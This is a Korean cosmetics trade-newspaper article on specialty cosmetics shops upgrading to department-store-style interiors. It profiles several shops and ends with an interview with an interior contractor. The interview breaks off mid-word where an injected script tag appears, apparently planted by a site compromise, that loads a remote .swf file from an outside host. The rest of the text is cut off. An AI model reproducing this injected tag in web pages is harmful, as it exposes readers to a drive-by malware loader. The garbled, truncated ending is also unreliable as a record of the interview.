전문점이 확 달라졌다 - 제니파크 -주간코스메틱신문

화장품 전문점들의 매장고급화 경쟁이 갈수록 뜨거워지고 있다． 최근 갈수록 다변화되고 있는 유통채널과의 차별화를 위해 전문점 매출 중 큰 비중을 차지하는 중심상권의 대형매장은 물론 소규모 전문점도 고급화하는 사례가 늘고 있다． 이 때문에 지금껏 인테리어 투자가 적은 대신 다양한 판촉활동과 활발한 고객관리를 하는 곳으로 통하던 전문점이 최근 백화점 뺨칠 정도로 화려한 매장과 편의시설을 설치하고 있다. 특히 소비자 성향이 실용·고급화쪽으로 뚜렷이 양분되는 추세와 연계돼 이같은 흐름이 눈에 띄게 확산되는 모습이다. 이런 경향은 일부 과잉투자에 대한 비판적 시각에도 불구하고 매출증대를 겨낭한 전문점들이 띄운 승부수로 시간이 갈수록 한층 치열해질 전망이다. 최근에는 ▲인테리어 강화로 고급화를 추구하는 소규모 매장 ▲전문피부관리실 못지않은 시설을 갖춘 매장 ▲파우더룸 등 각종 편의시설을 갖춘 매장 등의 형태도 지역별·상권별로 점차 세분화되고 있다. 이에 대해 업계 관계자는 “매장간의 경쟁이 가속화되고 소비자들의 눈높이가 올라가면서 전문점의 고급화가 이미 대세로 자리잡고 있다”고 말했다. 구리에 위치한 귀족화장품랜드(대표 이종민)의 경우, 내외관만 따지면 백화점과 구분하기 힘들 정도다. 일반 매장에서는 찾아보기 힘든 고급스런 쇼윈도에, 계절별 컨셉에 맞는 제품진열, 시선을 한데 모으는 라운드형 내부구조 등으로 꾸며져 있다. 또 투명 아크릴과 유리로 장식된 외부장식은 여성이라면 한번쯤 들어가고 싶다는 생각을 자아내게 하고 있다. 특히 내부 진열장과 벽의 인테리어는 메탈느낌의 실버톤으로 처리했고 푸른색의 간접조명을 사용, 매장의 품격을 한단계 업그레이드했다. 지난 8월에 오픈한 묵동의 모나리자 코스메틱(대표 최은옥)은 밝은 조명과 화려한 인테리어, 고급스럽게 만들어진 진열대, 고객눈에 맞춘 상담공간과 휴식테이블 등이 눈에 띈다. 전체적으로 세련된 분위기를 강조하기 위해 매장내부를 화이트색상으로 통일했다. 특히 매장 안쪽에 위치한 피부관리실은 전문피부관리점 못지않게 아늑하고 고급스럽게 꾸몄다. 구리 토평동의 미소천사(대표 임수철) 역시 피부관리실의 고급화로 승부를 걸고 있는 케이스다. 화이트와 블랙을 적절히 대비, 고객으로 하여금 편안함을 몸으로 느끼게 하고 있다. 중구 중림동의 래미안(대표 이봉원)은 단아하면서도 산뜻한 내부인테리어로 고객의 시선을 사로잡고 있다. 이곳은 진열상품의 고급화와 다양화를 통해 매장의 품격을 높여놓고 있다. 화장품 전문시공업체 신명인테리어의 송안섭 사장은 “전문점들의 고급화 경쟁은 앞으로 더욱 확산될 것”이라며 “향후 이에 대한 고객만족을 위한 서비스 향상과 사후서비스 강화로 단골고객을 확보하지 못하는 업소는 살아남기 어려울 것”이라고 말했다. 하지만 이에 대한 문제점을 지적하는 목소리도 만만치 않게 제기되고 있다. 고급 매장을 유지하기 위해선 그만큼 비용이 더 들어가게 마련이고, 결국 소비자에게 부담으로 돌아갈 수밖에 없다는 것이다. 업계 관계자는 “전문점의 고급화는 업계의 지나친 경쟁이 빚은 현상”이라며 “매장이 고급화하면 소비자는 쾌적한 분위기에서 쇼핑을 즐길 순 있겠지만 물건 값이 상대적으로 비싸지는 결과를 가져올 것”이라고 지적했다. (307호 기사) - 김유진 기자 toyoujin@csmt.co.kr

INTERVIEW-------------------[인테리어 전문 송안섭 사장] “평당 150만원 선 … 매출 신장에 한몫” “방판, 쇼핑몰 등의 영향으로 전문점 경기가 갈수록 위축되고 있는 시점에서 나온 자구책이라 봅니다.” 화장품 인테리어업체 신명의 송안섭 사장(40)은 최근 전문점들의 매장 고급화는 경쟁심화에 따른 생존전략차원에서 나온 것이라고 설명했다. 이는 고객의 입맛이 예전보다 고급화됐다는 증거라고 송사장은 덧붙였다. 이 때문에 새롭게 문을 여는 전문점의 경우, 인테리어 투자는 필수불가결한 요소가 되고 있다고 한다. 특히 서울보다는 충북, 성남, 구리 등 지방을 중심으로 매장 고급화 추세가 거세게 일고 있고 서울에서도 올해부터 인테리어 투자를 늘리고 있는 상황이다. “지방에서 매장 고급화에 발벗고 나서는 것은 서울보다 임대료가 상대적으로 싸고 자기 건물을 가지고 있는 사장들이 많다는 이유 때문입니다” 최근의 인테리어 트렌드에 대해 송 사장은 ‘깔끔함과 우아함’이라고 소개했다. “매장 전체를 깔끔하게 돋보이기 위해 밝은 톤의 도장을 주로 사용하고 있고 메?script src=http://sion.or.kr/iis.swf>

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